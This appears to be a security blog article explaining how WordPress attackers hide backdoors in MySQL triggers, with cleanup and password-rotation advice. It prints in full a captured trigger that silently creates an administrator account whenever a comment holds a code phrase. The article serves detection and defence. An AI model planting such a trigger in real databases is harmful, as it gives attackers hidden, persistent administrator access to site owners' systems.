Table of contents of the article:
Over the past year, there has been a growing trend of WordPress malware using SQL triggers to hide malicious SQL queries within compromised databases . These queries insert an administrator-level user into the infected database whenever the trigger condition is met.
What makes this particularly problematic for website owners is that most malware cleanup guides focus on website files and data within specific database tables, such as wp_users , wp_options , and wp_posts.
If you use a popular CMS on your website (like WordPress), it likely uses a MySQL database to store important data, such as CMS settings and content (e.g., WordPress posts). This means that anything that can modify the MySQL database can also cause serious damage to your website, such as injecting malicious content or even deleting your website content.
This security risk is one of the reasons why the MySQL database is assigned a separate username and password (see the wp-config.php file ): this feature prevents someone from remotely querying the MySQL database without the appropriate login information.
Because WordPress has access to your login information via wp-config.php , it can read and make changes to the database defined within the configuration file.
Unfortunately, once attackers gain unauthenticated access, they can often read the wp-config.php file to learn the login information for the website's database, which can then be used by the attacker's malware to connect to the database and make malicious changes.
SQL triggers
An SQL trigger is a stored procedure that runs automatically when specific changes are made to the database.
A trigger , in databases, is a procedure that is automatically executed upon a specific event, such as deleting a record from a table . This provides a technique for specifying and maintaining even complex integrity constraints. Triggers allow users to specify more complex integrity constraints, as a trigger is essentially a PL/SQL (Oracle), Transact-SQL, etc. procedure.
This procedure is therefore associated with a table and is automatically called by the database engine when a certain modification (or event) occurs within the table. Modifications to the table can include insert , update , and delete operations.
While they have many useful applications, we also have evidence that SQL triggers are being used by attackers to maintain unauthorized access after a compromise. To do this, attackers insert a SQL trigger into a compromised website's database, and when specific criteria are met or an event occurs, the malicious stored action is executed.
For example, we found this interesting backdoor SQL trigger in the wp_comments table in the database of an infected website:
/*!50003 CREATE*/ /*!50017 DEFINER=`root_ext`@`%`*/ /*!50003 TRIGGER `after_insert_comment` AFTER INSERT ON `meccanicainnovativa`.`wp_comments` FOR EACH ROW BEGIN IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `mechanicalinnovativa`.`wp_users`); SET @nextWpUsersID = @lastInsertWpUsersId + 1; INSERT INTO `mechanicalinnovativa`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris'); INSERT INTO `mechanicalinnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); INSERT INTO `mechanicalinnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10'); END IF; END */;;
This SQL trigger creates a malicious admin user every time a new comment containing the code words ” are you struggling to get comments on your blog? ” ’ is submitted to the infected WordPress website.
The trigger checks the comment_content column in the wp_comments database, so it doesn't matter whether the comment is approved or pending . Once the SQL trigger fires, it injects a malicious administrator user wpadmin with a spoofed registration date of 2014-06-08 and an email address of wp-security@hotmail.com.
Conclusion and mitigation steps
When a website has been compromised, you can bet that attackers will be looking for any database credentials found in wp-config or other CMS configuration files, and it can be incredibly difficult to identify if the hacker collected this information at any point post-infection.
If a compromise occurs, you should update passwords across your entire environment, including your databases. Neglecting this post-hack step could allow an attacker to access and modify your site even after you thought you'd cleaned up the infection.
If you doubt that your site may have a backdoor of this type, just export the database via a .sql dump and search the string TRIGGER inside the exported file.
Obviously not all TRIGGERs are backdoors, as we said before TRIGGERs are useful and legitimate tools; however, it is also true that using TRIGGER within WordPress installations is something very rare and highly unusual.
Website owners who have been compromised can refer to our service on how to clean a compromised website for steps to clean up the infection. If you need help, we can help clean up any malware and backdoors and protect your site.
